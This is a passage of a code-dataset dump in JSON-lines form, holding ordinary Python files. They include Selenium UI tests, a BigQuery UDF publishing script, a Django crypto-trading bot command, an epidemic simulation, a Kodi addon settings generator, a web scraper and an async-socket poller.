\", 1, 2)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"405862746","text":"import time\nimport unittest\n\nfrom School_infrastructure.Infra_map_Report.check_infrascore_with_download_functionality import SchoolInfra_scores\nfrom School_infrastructure.Infra_map_Report.check_sc_map_clusterwise_records import test_school_map_schoollevel_records\nfrom School_infrastructure.Infra_map_Report.click_on_anydistrict_and_download_csv import download_icon\n\nfrom School_infrastructure.Infra_map_Report.click_on_blocks import click_on_blocks\nfrom School_infrastructure.Infra_map_Report.click_on_clusters import cluster_button\nfrom School_infrastructure.Infra_map_Report.click_on_schools import click_schoolbutton\nfrom School_infrastructure.Infra_map_Report.mouseover_on_districtwise import mouseover\n\nfrom reuse_func import GetData\n\n\nclass cQube_SI_Map_Report(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n self.data = GetData()\n self.driver = self.data.get_driver()\n self.data.open_cqube_appln(self.driver)\n self.data.login_cqube(self.driver)\n self.data.navigate_to_school_infrastructure_map()\n time.sleep(5)\n\n def test_districtwise_download(self):\n b = download_icon(self.driver)\n res = b.test_donwload()\n self.assertEqual(0, res, msg=\"mismatch found at no of school values\")\n self.data.page_loading(self.driver)\n\n def test_schools_per_cluster_csv_download1(self):\n school = test_school_map_schoollevel_records(self.driver)\n result = school.check_download_csv1()\n if result == 0:\n print(\"Schools per cluster csv download report is working\")\n print(\"on selection of each district,block and cluster\")\n print(\"The footer value of no of schools and no of students are\")\n print(\"equals to downloaded file\")\n else:\n raise self.failureException(\"Schools per cluster csv report download1 is working\")\n\n def test_infrascore(self):\n b = SchoolInfra_scores(self.driver)\n infra_score = b.infra_score()\n b.remove_csv()\n self.assertNotEqual(0, infra_score, msg='Failed')\n\n boy_toilet = b.Boys_toilet_percentage()\n b.remove_csv()\n self.assertNotEqual(0, boy_toilet, msg='Failed')\n\n drinking_water = b.drinking_water()\n b.remove_csv()\n self.assertNotEqual(0, drinking_water, msg='Failed')\n\n Electricity = b.Electricity()\n b.remove_csv()\n self.assertNotEqual(0, Electricity, msg='Failed')\n\n girl_toilet = b.girls_toilet()\n b.remove_csv()\n self.assertNotEqual(0, girl_toilet, msg='Failed')\n\n Handpump = b.Handpump()\n b.remove_csv()\n self.assertNotEqual(0, Handpump, msg='Failed')\n\n Handwash = b.Handwash()\n b.remove_csv()\n self.assertNotEqual(0, Handwash, msg='Failed')\n\n Library = b.Library()\n b.remove_csv()\n self.assertNotEqual(0, Library, msg='Failed')\n\n Solar_panel = b.Solar_panel()\n b.remove_csv()\n self.assertNotEqual(0, Solar_panel, msg='Failed')\n\n Tapwater = b.Tapwater()\n b.remove_csv()\n self.assertNotEqual(0, Tapwater, msg='Failed')\n\n Toilet = b.Toilet()\n b.remove_csv()\n self.assertNotEqual(0, Toilet, msg='Failed')\n\n def test_click_on_block_cluster_school(self):\n b = click_on_blocks(self.driver)\n res1,res2 = b.test_blocks_button()\n self.assertNotEqual(0, res1, msg=\"Records are not present on map \")\n self.assertTrue(res2,msg='Block wise file downloading is not working ')\n print(\"Block buttons is working...\")\n\n b = cluster_button(self.driver)\n res1, res2 = b.test_clusterbtn()\n self.assertNotEqual(0, res1, msg=\"Records are not present on map \")\n self.assertTrue(res2, msg='Cluster wise file downloading is not working ')\n print(\"cluster button is working \")\n\n b = click_schoolbutton(self.driver)\n res1,res2 = b.test_click_on_school_btn()\n self.assertNotEqual(0, res1, msg=\"Records are not present on map \")\n self.assertTrue(res2, msg='School wise file downloading is not working ')\n print(\"school button is working \")\n\n\n def test_mouseover_on_dots(self):\n b = mouseover(self.driver)\n res = b.test_mousehover()\n count = self.data.test_mouse_over()\n self.assertNotEqual(0, count, msg=\"markers not present in map \")\n print(\"markers present on map \")\n\n\n @classmethod\n def tearDownClass(cls):\n cls.driver.close()\n\n","sub_path":"School_infrastructure/Infra_map_Report/school_map_system_testing.py","file_name":"school_map_system_testing.py","file_ext":"py","file_size_in_byte":4499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"247772944","text":"\"\"\"Publish UDFs and resources to the public mozfun GCP project.\"\"\"\n\nfrom argparse import ArgumentParser\nimport json\nimport os\nimport re\n\nfrom google.cloud import bigquery\nfrom google.cloud import storage\n\nfrom bigquery_etl.util import standard_args\nfrom bigquery_etl.util.common import project_dirs\nfrom bigquery_etl.routine.parse_routine import (\n read_routine_dir,\n accumulate_dependencies,\n)\n\nDEFAULT_UDF_DEPENDENCY_DIR = \"udf_js_lib/\"\nDEFAULT_GCS_BUCKET = \"moz-fx-data-prod-bigquery-etl\"\nDEFAULT_GCS_PATH = \"\"\nDEFAULT_PROJECT = \"sql/moz-fx-data-shared-prod\"\nSQL_DIR = \"sql/\"\n\nOPTIONS_LIB_RE = re.compile(r'library = \"gs://[^\"]+/([^\"]+)\"')\nOPTIONS_RE = re.compile(r\"OPTIONS(\\n|\\s)*\\(\")\n\nSKIP = [\"sql/moz-fx-data-shared-prod/udf/main_summary_scalars/udf.sql\"]\n\nparser = ArgumentParser(description=__doc__)\nparser.add_argument(\n \"--project-id\",\n \"--project_id\",\n required=False,\n help=\"Project to publish UDFs to. \"\n \"If not set, publish UDFs for all projects except mozfun.\",\n)\nparser.add_argument(\n \"--target\",\n default=DEFAULT_PROJECT,\n required=False,\n help=\"Path to project directory.\",\n)\nparser.add_argument(\n \"--dependency-dir\",\n \"--dependency_dir\",\n default=DEFAULT_UDF_DEPENDENCY_DIR,\n help=\"The directory JavaScript dependency files for UDFs are stored.\",\n)\nparser.add_argument(\n \"--gcs-bucket\",\n \"--gcs_bucket\",\n default=DEFAULT_GCS_BUCKET,\n help=\"The GCS bucket where dependency files are uploaded to.\",\n)\nparser.add_argument(\n \"--gcs-path\",\n \"--gcs_path\",\n default=DEFAULT_GCS_PATH,\n help=\"The GCS path in the bucket where dependency files are uploaded to.\",\n)\nparser.add_argument(\n \"--public\",\n default=False,\n help=\"The published UDFs should be publicly accessible.\",\n)\nstandard_args.add_log_level(parser)\n\n\ndef main():\n \"\"\"Publish routine.\"\"\"\n args = parser.parse_args()\n\n if args.target is not None:\n projects = [args.target]\n else:\n projects = project_dirs()\n\n for project in projects:\n publish(\n args.target,\n args.project_id,\n os.path.join(SQL_DIR, project, args.dependency_dir),\n args.gcs_bucket,\n args.gcs_path,\n args.public,\n )\n\n\ndef publish(target, project_id, dependency_dir, gcs_bucket, gcs_path, public):\n \"\"\"Publish routines in the provided directory.\"\"\"\n client = bigquery.Client(project_id)\n\n if dependency_dir and os.path.exists(dependency_dir):\n push_dependencies_to_gcs(\n gcs_bucket, gcs_path, dependency_dir, os.path.basename(target)\n )\n\n raw_routines = read_routine_dir(target)\n\n published_routines = []\n\n for raw_routine in raw_routines:\n # get all dependencies for UDF and publish as persistent UDF\n udfs_to_publish = accumulate_dependencies([], raw_routines, raw_routine)\n udfs_to_publish.append(raw_routine)\n\n for dep in udfs_to_publish:\n if dep not in published_routines and raw_routines[dep].filepath not in SKIP:\n publish_routine(\n raw_routines[dep],\n client,\n project_id,\n gcs_bucket,\n gcs_path,\n raw_routines.keys(),\n public,\n )\n published_routines.append(dep)\n\n\ndef publish_routine(\n raw_routine, client, project_id, gcs_bucket, gcs_path, known_udfs, is_public\n):\n \"\"\"Publish a specific routine to BigQuery.\"\"\"\n if is_public:\n # create new dataset for routine if necessary\n dataset = client.create_dataset(raw_routine.dataset, exists_ok=True)\n\n # set permissions for dataset, public for everyone\n entry = bigquery.AccessEntry(\"READER\", \"specialGroup\", \"allAuthenticatedUsers\")\n entries = list(dataset.access_entries)\n entries.append(entry)\n dataset.access_entries = entries\n dataset = client.update_dataset(dataset, [\"access_entries\"])\n\n # transforms temporary UDF to persistent UDFs and publishes them\n for definition in raw_routine.definitions:\n # Within a standard SQL function, references to other entities require\n # explicit project IDs\n for udf in set(known_udfs):\n # ensure UDF definitions are not replaced twice as would be the case for\n # `mozfun`.stats.mode_last and `mozfun`.stats.mode_last_retain_nulls\n # since one name is a substring of the other\n definition = definition.replace(f\"`{project_id}`.{udf}\", udf)\n definition = definition.replace(f\"{project_id}.{udf}\", udf)\n definition = definition.replace(udf, f\"`{project_id}`.{udf}\")\n\n # adjust paths for dependencies stored in GCS\n query = OPTIONS_LIB_RE.sub(\n fr'library = \"gs://{gcs_bucket}/{gcs_path}\\1\"', definition\n )\n\n # add UDF descriptions\n if raw_routine.filepath not in SKIP and not raw_routine.is_stored_procedure:\n # descriptions need to be escaped since quotation marks and other\n # characters, such as \\x01, will make the query invalid otherwise\n escaped_description = json.dumps(str(raw_routine.description))\n query = OPTIONS_RE.sub(f\"OPTIONS(description={escaped_description},\", query)\n\n if \"OPTIONS(\" not in query and query[-1] == \";\":\n query = query[:-1] + f\"OPTIONS(description={escaped_description});\"\n\n print(f\"Publish {raw_routine.name}\")\n client.query(query).result()\n\n\ndef push_dependencies_to_gcs(bucket, path, dependency_dir, project_id):\n \"\"\"Upload UDF dependencies to a GCS bucket.\"\"\"\n client = storage.Client(project_id)\n bucket = client.get_bucket(bucket)\n\n for root, dirs, files in os.walk(dependency_dir):\n for filename in files:\n blob = bucket.blob(path + filename)\n blob.upload_from_filename(os.path.join(root, filename))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bigquery_etl/routine/publish_routines.py","file_name":"publish_routines.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"440076860","text":"# _*_ coding: utf-8 _*_\n__author__ = 'Ruis'\n__date__ = '2018/10/15 下午11:07'\n\nimport time\nfrom selenium import webdriver\n\nbrowser = webdriver.Chrome()\nbrowser.get('http://www.baidu.com')\nbrowser.get('https://taobao.com')\nbrowser.get('http://jd.com')\nbrowser.back()\ntime.sleep(1)\nbrowser.forward()\nbrowser.close()\n\n# #这里我们连续访问3 个页面,然后调用back ()方法回到第二个页面,接下来再调用forward ()方\n# 法又可以前进到第三个页面。\n","sub_path":"7.1Selenium/7.1.10前进后退.py","file_name":"7.1.10前进后退.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"492836824","text":"\nfrom django.core.management.base import BaseCommand\nfrom bot.models import AddBotETH, BotProfit\nfrom multiprocessing import Process\nfrom bot.multi import RunBot\nimport time\n\n\n\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n\n proc = []\n while True:\n try:\n for _ in AddBotETH.objects.get_queryset():\n first_asset = _.first_asset\n second_asset = _.second_asset\n third_asset = _.third_asset\n api = _.api_key\n secret = _.secret_key\n ros = _.return_on_sales\n trade_balance = _.trade_balance\n active = _.activity\n firs_qty = _.qty_1\n second_qty = _.qty_2\n third_qty = _.qty_3\n if active:\n p = Process(target=RunBot, kwargs={'first_asset': first_asset, 'second_asset': second_asset,\n 'third_asset': third_asset, 'api': api, 'secret': secret, 'ros': ros, 'trade_balance': trade_balance, 'first_qty': firs_qty, 'second_qty': second_qty, 'third_qty': third_qty})\n\n p.start()\n proc.append(p)\n time.sleep(60*30)\n text = 'Бот ETH ищет профитные сделки, ожидайте...'\n bot_data = BotProfit(logs_deal=text)\n bot_data.save()\n for p in proc:\n p.terminate()\n p.join()\n\n except Exception as e:\n text2 = 'Возникла ошибка при работе бота ETH, причина: {}'.format({e})\n bot_data = BotProfit(logs_deal=text2)\n bot_data.save()\n\n\n\n\n\n","sub_path":"bot/management/commands/triangle_bot_eth.py","file_name":"triangle_bot_eth.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"279343756","text":"from typing import List\nfrom numpy import random\nfrom sympy import exp\nimport Grid\nimport Resident\nimport Zone\n\n\ndef calc_q_based_on_policy_type(policy_type, sickness_status):\n if policy_type == 1:\n return 0.5\n elif policy_type == 2:\n return 0.9\n elif policy_type == 3 and (sickness_status == 0 or sickness_status == 2):\n return 0.5\n elif policy_type == 3 and sickness_status == 1:\n return 0.9\n\n\ndef travel_func(population_list: List[Resident.Resident], grid: Grid, policy_type):\n health_movement_counter = 0\n sick_movement_counter = 0\n r_and = random.rand()\n\n for res in population_list:\n if policy_type == 4:\n q_prob = res.q_zone\n else:\n q_prob = calc_q_based_on_policy_type(policy_type, res.sickness_status)\n movement_prob = (1 - q_prob) # probability to move in general\n\n movement_happened = False\n pre_movement_cell_x = res.cell_x\n pre_movement_cell_y = res.cell_y\n cell_type = grid.get_cell(res.cell_x, res.cell_y).type\n\n # the cell is in the middle, i.e. type 'A'\n if cell_type == 1:\n #t_start = time.perf_counter_ns()\n if r_and <= movement_prob:\n movement_happened = True\n movement_direction = random.randint(0,8)\n if movement_direction == 0:\n res.cell_x -= 1\n res.cell_y -= 1\n if movement_direction == 1:\n res.cell_y -= 1\n if movement_direction == 2:\n res.cell_x += 1\n res.cell_y -= 1\n if movement_direction == 3:\n res.cell_x -= 1\n if movement_direction == 4:\n res.cell_x += 1\n if movement_direction == 5:\n res.cell_x -= 1\n res.cell_y += 1\n if movement_direction == 6:\n res.cell_y += 1\n if movement_direction == 7:\n res.cell_x += 1\n res.cell_y += 1\n\n #t_end = time.perf_counter_ns()\n #print(f'Travel Cell Type 1 finished in {t_end - t_start} nano seconds')\n\n # the cell is wall adjacent, 'B'\n if 21 <= cell_type <= 24:\n if r_and <= movement_prob:\n movement_happened = True\n movement_direction = random.randint(0, 5)\n if cell_type == 21:\n if movement_direction == 0:\n res.cell_x -= 1\n if movement_direction == 1:\n res.cell_x += 1\n if movement_direction == 2:\n res.cell_x -= 1\n res.cell_y += 1\n if movement_direction == 3:\n res.cell_y += 1\n if movement_direction == 4:\n res.cell_x += 1\n res.cell_y += 1\n\n if cell_type == 22:\n if movement_direction == 0:\n res.cell_y -= 1\n if movement_direction == 1:\n res.cell_y += 1\n if movement_direction == 2:\n res.cell_x += 1\n res.cell_y -= 1\n if movement_direction == 3:\n res.cell_x += 1\n if movement_direction == 4:\n res.cell_x += 1\n res.cell_y += 1\n\n if cell_type == 23:\n if movement_direction == 0:\n res.cell_x -= 1\n if movement_direction == 1:\n res.cell_x += 1\n if movement_direction == 2:\n res.cell_x -= 1\n res.cell_y -= 1\n if movement_direction == 3:\n res.cell_y -= 1\n if movement_direction == 4:\n res.cell_x += 1\n res.cell_y -= 1\n\n if cell_type == 24:\n if movement_direction == 0:\n res.cell_y -= 1\n if movement_direction == 1:\n res.cell_y += 1\n if movement_direction == 2:\n res.cell_x -= 1\n res.cell_y -= 1\n if movement_direction == 3:\n res.cell_x -= 1\n if movement_direction == 4:\n res.cell_x -= 1\n res.cell_y += 1\n\n # the cell is in corner, 'C', there are 4 corners\n if 31 <= cell_type <= 34:\n if r_and <= movement_prob:\n movement_happened = True\n movement_direction = random.randint(0, 3)\n\n if cell_type == 31:\n if movement_direction == 0:\n res.cell_x += 1\n if movement_direction == 1:\n res.cell_y += 1\n if movement_direction == 2:\n res.cell_x += 1\n res.cell_y += 1\n\n if cell_type == 32:\n if movement_direction == 0:\n res.cell_y -= 1\n if movement_direction == 1:\n res.cell_x += 1\n if movement_direction == 2:\n res.cell_x += 1\n res.cell_y -= 1\n\n if cell_type == 33:\n if movement_direction == 0:\n res.cell_y -= 1\n if movement_direction == 1:\n res.cell_x -= 1\n if movement_direction == 2:\n res.cell_x -= 1\n res.cell_y -= 1\n\n if cell_type == 34:\n if movement_direction == 0:\n res.cell_x -= 1\n if movement_direction == 1:\n res.cell_y += 1\n if movement_direction == 2:\n res.cell_x -= 1\n res.cell_y += 1\n\n if movement_happened:\n # update cell location for both old and new cells\n grid.get_cell(pre_movement_cell_x, pre_movement_cell_y).remove_resident(res.id)\n grid.get_cell(res.cell_x, res.cell_y).set_resident(res.id)\n health_movement_counter += 1\n\n # set to default\n res.update_q_zone(0.5)\n\n if res.sickness_status == 0:\n res.consecutive_timesteps = 1\n\n if res.sickness_status == 1:\n grid.get_cell(res.cell_x, res.cell_y).set_infected_resident(res.id)\n grid.get_cell(pre_movement_cell_x, pre_movement_cell_y).remove_infected_resident(res.id)\n sick_movement_counter += 1\n\n\n #print(f\"travel_func: health residents moved: {health_movement_counter}, sick residents moved: {sick_movement_counter}\")\n\n\ndef calc_infection_probability(timesteps):\n return 1 - exp(-0.25 * timesteps)\n\n\n# loop over all population, find all residents which are health (sickness == 0)\n# and their cell is infected\ndef infection_func(population_list: List[Resident.Resident], grid: Grid):\n infected_counter = 0\n for resident in population_list:\n if resident.sickness_status == 0:\n cell = grid.get_cell(resident.cell_x, resident.cell_y)\n # todo : use method instead of len\n if len(cell.infected_residents_ids) > 0:\n # check probability that this resident will become sick\n prob = calc_infection_probability(resident.consecutive_timesteps)\n if random.random() <= prob:\n resident.update_health_status(1)\n cell.set_infected_resident(resident.id)\n resident.consecutive_timesteps = 1\n infected_counter += 1\n else:\n resident.consecutive_timesteps += 1\n\n return infected_counter\n\n\ndef recovery_func(population_list: List[Resident.Resident], grid: Grid, recovery_time_steps):\n recover_counter = 0\n for resident in population_list:\n if resident.sickness_status == 1:\n if resident.consecutive_timesteps < recovery_time_steps:\n resident.consecutive_timesteps += 1\n else:\n cell = grid.get_cell(resident.cell_x, resident.cell_y)\n resident.update_health_status(2)\n cell.remove_infected_resident(resident.id)\n recover_counter += 1\n return recover_counter\n\n\ndef red_zone_func(population_list: List[Resident.Resident], zones: List[Zone.Zone], grid: Grid, red_zone_condition):\n for zone in zones:\n res_infected_in_zone = 0\n res_in_zone = []\n for cell_index in zone.cell_indexes:\n cell = grid.grid[cell_index - 1]\n res_infected_in_zone += len(cell.infected_residents_ids)\n\n if len(cell.infected_residents_ids) > 0:\n for r1 in cell.infected_residents_ids:\n res_in_zone.append(r1)\n if len(cell.residents_ids) > 0:\n for r2 in cell.residents_ids:\n res_in_zone.append(r2)\n\n if res_infected_in_zone > red_zone_condition:\n for res_id in res_in_zone:\n population_list[res_id - 1].update_q_zone(0.9)\n","sub_path":"Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":9550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"190608319","text":"# -*- coding: utf-8 -*-\n\nimport glob\nimport os\nimport re\nimport traceback\n\nimport xbmc\nimport xbmcgui\nimport xbmcaddon\n\nfrom xbmc import (LOGDEBUG, LOGERROR, LOGFATAL, LOGINFO,\n LOGNONE, LOGNOTICE, LOGSEVERE, LOGWARNING)\n\n'''\nTemporary service to create new settings after each update\nthen prevent itself from running again.\nprevents consecutive runs using both, remove in addon xml, and exit if version is the same as last run\n'''\n\n############# ID SETTINGS AND ADDON (generic) ###############\n\naddon_name = 'Lambdascrapers Module'\naddon_icon = xbmcaddon.Addon().getAddonInfo('icon')\naddon_path = xbmc.translatePath(('special://home/addons/script.module.lambdascrapers')).decode('utf-8')\nmodule_path = xbmc.translatePath(('special://home/addons/script.module.lambdascrapers')).decode('utf-8')\n\nlambda_ver = xbmcaddon.Addon(id='script.module.lambdascrapers').getAddonInfo('version')\nlambda_lastcheck = xbmcaddon.Addon(id='script.module.lambdascrapers').getSetting('module.vers')\n\nif str(lambda_ver) == str(lambda_lastcheck):\n exit()\n\n############# DEFINE FUNCTIONS ###############\n\ndef openfile(path_to_the_file):\n try:\n fh = open(path_to_the_file, 'rb')\n contents = fh.read()\n fh.close()\n return contents\n except Exception:\n failure = traceback.format_exc()\n print('Service Open File Exception - %s \\n %s' % (path_to_the_file, str(failure)))\n return None\n\n\ndef savefile(path_to_the_file, content):\n try:\n fh = open(path_to_the_file, 'wb')\n fh.write(content)\n fh.close()\n except Exception:\n failure = traceback.format_exc()\n print('Service Save File Exception - %s \\n %s' % (path_to_the_file, str(failure)))\n exit()\n\n\n############# LIST INDEPENDENT SETTINGS TO ADD ###############\n### (THREE ids need to be changed per set) ###\n\n### nofity of update ###\nxbmcgui.Dialog().notification(addon_name, 'Generating scraper details', addon_icon)\n\n\n##### PREMIUM ####\n## DEBRID ONLY\nsettings_xml_path = os.path.join(addon_path, 'resources/settings.xml')\nscraper_path = os.path.join(module_path, 'lib/lambdascrapers/only_premium/Debrid')\ntry:\n xml = openfile(settings_xml_path)\nexcept Exception:\n failure = traceback.format_exc()\n exit()\n\nnew_settings = []\nnew_settings = '\\n'\nfor file in glob.glob(\"%s/*.py\" % (scraper_path)):\n file = os.path.basename(file)\n if '__init__' not in file:\n file = file.replace('.py', '')\n new_settings += ' \\n' % (\n file.lower(), file.upper())\n\nxml = openfile(settings_xml_path)\nxml = xml.replace('', str(new_settings))\nsavefile(settings_xml_path, xml)\n\n\n################# PREMIUM END, KEEP TOP TO AVOID INCORRECT DEFAULTS #######################\n\n\n\n##### QUICK ####\n## CHECKED\nsettings_xml_path = os.path.join(addon_path, 'resources/settings.xml')\nscraper_path = os.path.join(module_path, 'lib/lambdascrapers/sources_quick/checked')\ntry:\n xml = openfile(settings_xml_path)\nexcept Exception:\n failure = traceback.format_exc()\n exit()\n\nnew_settings = []\nnew_settings = '\\n'\nfor file in glob.glob(\"%s/*.py\" % (scraper_path)):\n file = os.path.basename(file)\n if '__init__' not in file:\n file = file.replace('.py', '')\n new_settings += ' \\n' % (\n file.lower(), file.upper())\n\nxml = openfile(settings_xml_path)\nxml = xml.replace('', str(new_settings))\nsavefile(settings_xml_path, xml)\n\n## UNCHECKED\nsettings_xml_path = os.path.join(addon_path, 'resources/settings.xml')\nscraper_path = os.path.join(module_path, 'lib/lambdascrapers/sources_quick/unchecked')\ntry:\n xml = openfile(settings_xml_path)\nexcept Exception:\n failure = traceback.format_exc()\n exit()\n\nnew_settings = []\nnew_settings = '\\n'\nfor file in glob.glob(\"%s/*.py\" % (scraper_path)):\n file = os.path.basename(file)\n if '__init__' not in file:\n file = file.replace('.py', '')\n new_settings += ' \\n' % (\n file.lower(), file.upper())\n\nxml = openfile(settings_xml_path)\nxml = xml.replace('', str(new_settings))\nsavefile(settings_xml_path, xml)\n\n\n##### SCRUBS ####\n## EN\nsettings_xml_path = os.path.join(addon_path, 'resources/settings.xml')\nscraper_path = os.path.join(module_path, 'lib/lambdascrapers/sources_scrubs/en')\ntry:\n xml = openfile(settings_xml_path)\nexcept Exception:\n failure = traceback.format_exc()\n exit()\n\nnew_settings = []\nnew_settings = '\\n'\nfor file in glob.glob(\"%s/*.py\" % (scraper_path)):\n file = os.path.basename(file)\n if '__init__' not in file:\n file = file.replace('.py', '')\n new_settings += ' \\n' % (\n file.lower(), file.upper())\n\nxml = openfile(settings_xml_path)\nxml = xml.replace('', str(new_settings))\nsavefile(settings_xml_path, xml)\n\n## DE\n## ES\n## FR\n## GR\n## KO\n## PL\n## RU\n\n\n\n\n##### TEMPLATE ####\n## EN\n## DE\n## ES\n## GR\n## PL\n\n\n\n\n############# FINALIZE ###############\n\n######### update version ID to prevent launch until next update ###########\n\nxbmcaddon.Addon(id='script.module.lambdascrapers').setSetting('module.vers', str(lambda_ver))\n\n##### double-tap remove service from addon xml to prevent launch ######\n\ntry:\n # addonFolderPath = xbmc.translatePath(ADDON.getAddonInfo('path')).decode('utf-8')\n addonXMLPath = os.path.join(addon_path, 'addon.xml')\n\n # Disabling is done by commenting out the XML line for the service extension so it doesn't run anymore.\n with open(addonXMLPath, 'r+') as addonXMLFile:\n xmlText = addonXMLFile.read()\n serviceFilename = 'ManifestSettings\\.py'\n pattern = r'(<\\s*?extension.*?' + serviceFilename + '.*?>)'\n updatedXML = re.sub(pattern, r'', xmlText, count=1, flags=re.IGNORECASE)\n addonXMLFile.seek(0)\n addonXMLFile.write(updatedXML)\n addonXMLFile.truncate()\nexcept:\n pass\n\n### notify of update (COMPLETE) ###\nxbmcgui.Dialog().notification(addon_name, 'Scraper settings updated', addon_icon)\n\n\n\n\n","sub_path":"HAX/18.CocoJoe/script.module.lambdascrapers/ManifestSettings.py","file_name":"ManifestSettings.py","file_ext":"py","file_size_in_byte":6585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"282029162","text":"# -*- coding: utf-8 -*-\n\nfrom django.contrib.sites.models import get_current_site\n\n\ndef filter_association_content(queryset, request, key=''):\n site = get_current_site(request)\n key_published = '%spublished_global' % key\n key_association = '%sassociation' % key\n if not site.associationsite.filter_content:\n queryset = queryset.filter(**{key_published: True})\n return queryset\n return queryset.filter(\n **{key_association: site.associationsite.association})\n","sub_path":"kumo/website/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"98603550","text":"import pygame\r\nfrom Game import Game\r\n\r\ndef main():\r\n\r\n #intialize variable for main program loop\r\n done = False\r\n #create instance of game class\r\n illa_game = Game()\r\n\r\n #main program loop\r\n while not done:\r\n done = illa_game.process_events()\r\n illa_game.run_logic()\r\n illa_game.display_frame()\r\n\r\n #quit the program if we reach here as we are doneski\r\n pygame.quit()\r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"Sappadillaku/Sappadillaku_main.py","file_name":"Sappadillaku_main.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"207904384","text":"import requests\nfrom requests import RequestException\nfrom bs4 import BeautifulSoup as bs\nimport json\nfrom multiprocessing import Pool\n\ndef get_one_page(url):\n try:\n\n headers = {\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/63.0.3239.84 Chrome/63.0.3239.84 Safari/537.36'\n }\n\n response = requests.get(url, headers=headers)\n return response.text\n except RequestException:\n return None\n\ndef parse_one_page(html):\n soup = bs(html, 'lxml')\n movies = soup.select('#app div.main dl.board-wrapper dd')\n if movies:\n for movie in movies:\n score1 = movie.select('i.integer')[0]\n score2 = movie.select('i.fraction')[0]\n yield {\n 'index': movie.select('i.board-index')[0].get_text(),\n 'image': movie.select('img.board-img')[0].get('data-src'),\n 'title': movie.select('p.name a')[0].get_text(),\n 'actors': movie.select('p.star')[0].get_text().strip()[3:],\n 'showtime': movie.select('p.releasetime')[0].get_text()[5:],\n 'score': score1.get_text() + score2.get_text(),\n }\n #\n\ndef save_to_file(data):\n data = json.dumps(data, ensure_ascii=False)\n with open('maoyan.txt', 'a') as f:\n f.write(data + '\\n')\n\n\ndef main(i):\n url = 'http://maoyan.com/board/4?offset={}'.format(str(i))\n print(url)\n html = get_one_page(url)\n datas = parse_one_page(html)\n for data in datas:\n save_to_file(data)\n # with open('maoyan.txt', 'r') as f:\n # data = f.read()\n # print(data)\n\nif __name__ == '__main__':\n # for i in range(10):\n # main(i*10)\n\n pool = Pool()\n pool.map(main, [i*10 for i in range(10)])","sub_path":"spider_bs.py","file_name":"spider_bs.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"275398432","text":"\"\"\"Tests for Handlers.\"\"\"\n\nimport json\nfrom unittest.mock import MagicMock\nfrom unittest.mock import patch\n\nfrom oto import response\n\nfrom myproduct import handlers\n\n\n@patch('{{cookiecutter.app_name}}.handlers.g')\ndef test_exception_handler(mock_g):\n \"\"\"Verify exception_Handler returns 500 status code and json payload.\"\"\"\n message = (\n 'The server encountered an internal error '\n 'and was unable to complete your request.')\n mock_error = MagicMock()\n server_response = handlers.exception_handler(mock_error)\n mock_g.log.exception.assert_called_with(mock_error)\n\n # assert status code is 500\n assert server_response.status_code == 500\n\n # assert json payload\n response_message = json.loads(server_response.data.decode())\n assert response_message['message'] == message\n assert response_message['code'] == response.error.ERROR_CODE_INTERNAL_ERROR\n","sub_path":"tests/unit/test_handlers.py","file_name":"test_handlers.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"154922541","text":"#!/usr/bin/python\n\nimport errno\nimport logging\nimport os\nimport select\nimport socket\nimport traceback\n\nimport async_sockets\nimport constants\nimport errors\n\n\nclass BaseEvents(object):\n POLLIN, POLLOUT, POLLERR, POLLHUP = (\n 1, 4, 8, 16,\n ) if os.name == \"nt\" else (\n select.POLLIN, select.POLLOUT, select.POLLERR, select.POLLHUP,\n )\n\n NAME = \"base\"\n\n def __init__(self):\n pass\n\n def register(self, fd, event):\n pass\n\n def poll(self, timeout):\n raise NotImplementedError()\n\n def supported(self):\n pass\n\n\nif os.name != \"nt\":\n class PollEvents(BaseEvents):\n NAME = \"Poll\"\n\n def __init__(self):\n super(PollEvents, self).__init__()\n self._poller = select.poll()\n\n def register(self, fd, event):\n self._poller.register(fd, event)\n\n def poll(self, timeout):\n return self._poller.poll(timeout)\n\n\nclass SelectEvents(BaseEvents):\n NAME = \"Select\"\n\n def __init__(self):\n super(SelectEvents, self).__init__()\n self._fd_dict = {}\n\n def register(self, fd, event):\n self._fd_dict[fd] = event\n\n def poll(self, timeout):\n rlist, wlist, xlist = [], [], []\n\n for fd in self._fd_dict:\n if self._fd_dict[fd] & SelectEvents.POLLERR:\n xlist.append(fd)\n if self._fd_dict[fd] & SelectEvents.POLLIN:\n rlist.append(fd)\n if self._fd_dict[fd] & SelectEvents.POLLOUT:\n wlist.append(fd)\n\n r, w, x = select.select(rlist, wlist, xlist, timeout)\n\n poll_dict = {}\n for s in r + w + x:\n if s in r:\n poll_dict[s.fileno()] = SelectEvents.POLLIN\n if s in w:\n poll_dict[s.fileno()] = SelectEvents.POLLOUT\n if s in x:\n poll_dict[s.fileno()] = SelectEvents.POLLERR\n return 